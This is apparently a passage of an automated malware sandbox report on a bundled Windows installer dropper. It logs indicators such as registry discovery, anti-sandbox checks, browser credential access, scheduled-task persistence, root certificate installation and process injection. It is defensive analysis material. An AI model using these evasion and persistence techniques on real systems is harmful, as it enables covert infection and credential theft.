djvu | 5e2bf564a4f985a7482d505def1ec79c92566bf7eda4724811ee29b9c4a66156

System Information Discovery

Processes:

ort3DXxPpCUQULr3iXyGmkO1.exeFri10d184202996a0d7f.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ort3DXxPpCUQULr3iXyGmkO1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ort3DXxPpCUQULr3iXyGmkO1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fri10d184202996a0d7f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fri10d184202996a0d7f.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Fri10584c049c7f.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Fri10584c049c7f.exe

Loads dropped DLL 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.exeFri1008c7d6874.exeFri10584c049c7f.execmd.exeFri1015b9a4e0b.execmd.exeFri1034cd265b5e0adcd.execmd.execmd.execmd.execmd.exeFri10fcc13ae0125c8.exeFri106e757f6d75.execmd.exeFri10acd1e0a9e6.exeFri105268dda3.execmd.execmd.exeFri10d184202996a0d7f.exeFri10fcc13ae0125c8.tmpFri10720d229511df563.execmd.exeSkVPVS3t6Y8W.EXeFri106e757f6d75.exerundll32.exe

pid	process
1388	setup_x86_x64_install.exe
1120	setup_installer.exe
1120	setup_installer.exe
1120	setup_installer.exe
1120	setup_installer.exe
1120	setup_installer.exe
1120	setup_installer.exe
1668	setup_install.exe
1668	setup_install.exe
1668	setup_install.exe
1668	setup_install.exe
1668	setup_install.exe
1668	setup_install.exe
1668	setup_install.exe
1668	setup_install.exe
2028	cmd.exe
1684	cmd.exe
596	cmd.exe
688	cmd.exe
688	cmd.exe
1732	Fri1008c7d6874.exe
1732	Fri1008c7d6874.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1476	cmd.exe
1648	Fri1015b9a4e0b.exe
1648	Fri1015b9a4e0b.exe
1696	cmd.exe
908	Fri1034cd265b5e0adcd.exe
908	Fri1034cd265b5e0adcd.exe
812	cmd.exe
812	cmd.exe
320	cmd.exe
1488	cmd.exe
1488	cmd.exe
1052	cmd.exe
1052	cmd.exe
1180	Fri10fcc13ae0125c8.exe
1180	Fri10fcc13ae0125c8.exe
1292	Fri106e757f6d75.exe
1292	Fri106e757f6d75.exe
1788	cmd.exe
1272	Fri10acd1e0a9e6.exe
1272	Fri10acd1e0a9e6.exe
1328	Fri105268dda3.exe
1328	Fri105268dda3.exe
1508	cmd.exe
1384	cmd.exe
456	Fri10d184202996a0d7f.exe
456	Fri10d184202996a0d7f.exe
1180	Fri10fcc13ae0125c8.exe
1564	Fri10fcc13ae0125c8.tmp
1564	Fri10fcc13ae0125c8.tmp
1564	Fri10fcc13ae0125c8.tmp
1484	Fri10720d229511df563.exe
1484	Fri10720d229511df563.exe
2120	cmd.exe
2224	SkVPVS3t6Y8W.EXe
2224	SkVPVS3t6Y8W.EXe
1292	Fri106e757f6d75.exe
1564	Fri10fcc13ae0125c8.tmp
2336	Fri106e757f6d75.exe
2336	Fri106e757f6d75.exe
2956	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

4712 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4712	icacls.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS06476843\Fri10d184202996a0d7f.exe	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

Fri10d184202996a0d7f.exeort3DXxPpCUQULr3iXyGmkO1.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri10d184202996a0d7f.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ort3DXxPpCUQULr3iXyGmkO1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

392 api.2ip.ua
40 ipinfo.io
186 ip-api.com
269 ipinfo.io
336 api.2ip.ua
390 api.2ip.ua
15 ip-api.com
41 ipinfo.io
270 ipinfo.io
328 api.2ip.ua
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

ort3DXxPpCUQULr3iXyGmkO1.exe

pid process

2228 ort3DXxPpCUQULr3iXyGmkO1.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

Fri106e757f6d75.exe

description pid process target process

PID 1292 set thread context of 2336 1292 Fri106e757f6d75.exe Fri106e757f6d75.exe

flow	ioc
392	api.2ip.ua
40	ipinfo.io
186	ip-api.com
269	ipinfo.io
336	api.2ip.ua
390	api.2ip.ua
15	ip-api.com
41	ipinfo.io
270	ipinfo.io
328	api.2ip.ua

pid	process
2228	ort3DXxPpCUQULr3iXyGmkO1.exe

description	pid	process	target process
PID 1292 set thread context of 2336	1292	Fri106e757f6d75.exe	Fri106e757f6d75.exe

Drops file in Program Files directory 5 IoCs

Processes:

VIsEzBINWOkQusUaMIVqEZCA.exe

description	ioc	process
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	VIsEzBINWOkQusUaMIVqEZCA.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	VIsEzBINWOkQusUaMIVqEZCA.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst002.exe	VIsEzBINWOkQusUaMIVqEZCA.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	VIsEzBINWOkQusUaMIVqEZCA.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	VIsEzBINWOkQusUaMIVqEZCA.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 8 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1748	368	WerFault.exe	Kq9OFTPo1yERyr6aSGvSw799.exe
2696	3140	WerFault.exe	yrGe4e7Fa5ukpmZUlzj4v7GF.exe
616	2716	WerFault.exe	Bw0CXO6kcgqMsEdLh81NaEZw.exe
4348	3420	WerFault.exe	QCDO1nQ3n9ci74CbSZ4UZWAd.exe
4624	2608	WerFault.exe	Firstoffer.exe
4252	3068	WerFault.exe	build2.exe
4372	4840	WerFault.exe	filename.exe
1688	6096	WerFault.exe	NetFrame.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Fri105268dda3.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri105268dda3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri105268dda3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri105268dda3.exe

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3720	schtasks.exe
1072	schtasks.exe
2940	schtasks.exe
2896	schtasks.exe
1856	schtasks.exe
3608	schtasks.exe
4020	schtasks.exe
2476	schtasks.exe
2448	schtasks.exe
2436	schtasks.exe
560	schtasks.exe
5220	schtasks.exe
4800	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4652 timeout.exe
Kills process with taskkill 8 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2248 taskkill.exe
2628 taskkill.exe
2992 taskkill.exe
2276 taskkill.exe
2804 taskkill.exe
2448 taskkill.exe
1124 taskkill.exe
3804 taskkill.exe

pid	process
4652	timeout.exe

pid	process
2248	taskkill.exe
2628	taskkill.exe
2992	taskkill.exe
2276	taskkill.exe
2804	taskkill.exe
2448	taskkill.exe
1124	taskkill.exe
3804	taskkill.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Fri103a7805577.exeFri10720d229511df563.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Fri103a7805577.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Fri103a7805577.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Fri103a7805577.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Fri10720d229511df563.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Fri10720d229511df563.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Fri105268dda3.exepowershell.exeFri10584c049c7f.exe

pid	process
1328	Fri105268dda3.exe
1328	Fri105268dda3.exe
2000	powershell.exe
1372
1372
1372
1372
1372
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1372
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1616	Fri10584c049c7f.exe
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372
1372

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Fri105268dda3.exe

pid process

1328 Fri105268dda3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Fri10720d229511df563.exeFri10b0a06a73706.exeFri103a7805577.exetaskkill.exepowershell.exeDownFlSetup110.exeBw0CXO6kcgqMsEdLh81NaEZw.exeFri1015b9a4e0b.exetaskkill.exeFri106e757f6d75.exeschtasks.execmd.exez7C76xDOr0SZG_cjCQa_SdAM.exe

description	pid	process
Token: SeCreateTokenPrivilege	1484	Fri10720d229511df563.exe
Token: SeAssignPrimaryTokenPrivilege	1484	Fri10720d229511df563.exe
Token: SeLockMemoryPrivilege	1484	Fri10720d229511df563.exe
Token: SeIncreaseQuotaPrivilege	1484	Fri10720d229511df563.exe
Token: SeMachineAccountPrivilege	1484	Fri10720d229511df563.exe
Token: SeTcbPrivilege	1484	Fri10720d229511df563.exe
Token: SeSecurityPrivilege	1484	Fri10720d229511df563.exe
Token: SeTakeOwnershipPrivilege	1484	Fri10720d229511df563.exe
Token: SeLoadDriverPrivilege	1484	Fri10720d229511df563.exe
Token: SeSystemProfilePrivilege	1484	Fri10720d229511df563.exe
Token: SeSystemtimePrivilege	1484	Fri10720d229511df563.exe
Token: SeProfSingleProcessPrivilege	1484	Fri10720d229511df563.exe
Token: SeIncBasePriorityPrivilege	1484	Fri10720d229511df563.exe
Token: SeCreatePagefilePrivilege	1484	Fri10720d229511df563.exe
Token: SeCreatePermanentPrivilege	1484	Fri10720d229511df563.exe
Token: SeBackupPrivilege	1484	Fri10720d229511df563.exe
Token: SeRestorePrivilege	1484	Fri10720d229511df563.exe
Token: SeShutdownPrivilege	1484	Fri10720d229511df563.exe
Token: SeDebugPrivilege	1484	Fri10720d229511df563.exe
Token: SeAuditPrivilege	1484	Fri10720d229511df563.exe
Token: SeSystemEnvironmentPrivilege	1484	Fri10720d229511df563.exe
Token: SeChangeNotifyPrivilege	1484	Fri10720d229511df563.exe
Token: SeRemoteShutdownPrivilege	1484	Fri10720d229511df563.exe
Token: SeUndockPrivilege	1484	Fri10720d229511df563.exe
Token: SeSyncAgentPrivilege	1484	Fri10720d229511df563.exe
Token: SeEnableDelegationPrivilege	1484	Fri10720d229511df563.exe
Token: SeManageVolumePrivilege	1484	Fri10720d229511df563.exe
Token: SeImpersonatePrivilege	1484	Fri10720d229511df563.exe
Token: SeCreateGlobalPrivilege	1484	Fri10720d229511df563.exe
Token: 31	1484	Fri10720d229511df563.exe
Token: 32	1484	Fri10720d229511df563.exe
Token: 33	1484	Fri10720d229511df563.exe
Token: 34	1484	Fri10720d229511df563.exe
Token: 35	1484	Fri10720d229511df563.exe
Token: SeDebugPrivilege	1860	Fri10b0a06a73706.exe
Token: SeDebugPrivilege	1200	Fri103a7805577.exe
Token: SeDebugPrivilege	2248	taskkill.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeShutdownPrivilege	1372
Token: SeDebugPrivilege	2388	DownFlSetup110.exe
Token: SeIncBasePriorityPrivilege	2716	Bw0CXO6kcgqMsEdLh81NaEZw.exe
Token: SeDebugPrivilege	2716	Bw0CXO6kcgqMsEdLh81NaEZw.exe
Token: SeLoadDriverPrivilege	2716	Bw0CXO6kcgqMsEdLh81NaEZw.exe
Token: SeDebugPrivilege	1648	Fri1015b9a4e0b.exe
Token: SeDebugPrivilege	2628	taskkill.exe
Token: SeDebugPrivilege	2336	Fri106e757f6d75.exe
Token: SeDebugPrivilege	2896	schtasks.exe
Token: SeDebugPrivilege	2992	cmd.exe
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeShutdownPrivilege	1372
Token: SeCreateTokenPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeAssignPrimaryTokenPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeLockMemoryPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeIncreaseQuotaPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeMachineAccountPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeTcbPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeSecurityPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe
Token: SeTakeOwnershipPrivilege	2232	z7C76xDOr0SZG_cjCQa_SdAM.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.exe

description	pid	process	target process
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1388 wrote to memory of 1120	1388	setup_x86_x64_install.exe	setup_installer.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1120 wrote to memory of 1668	1120	setup_installer.exe	setup_install.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 628	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1696	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1684	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 2028	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 688	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 812	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 596	1668	setup_install.exe	cmd.exe
PID 1668 wrote to memory of 1476	1668	setup_install.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
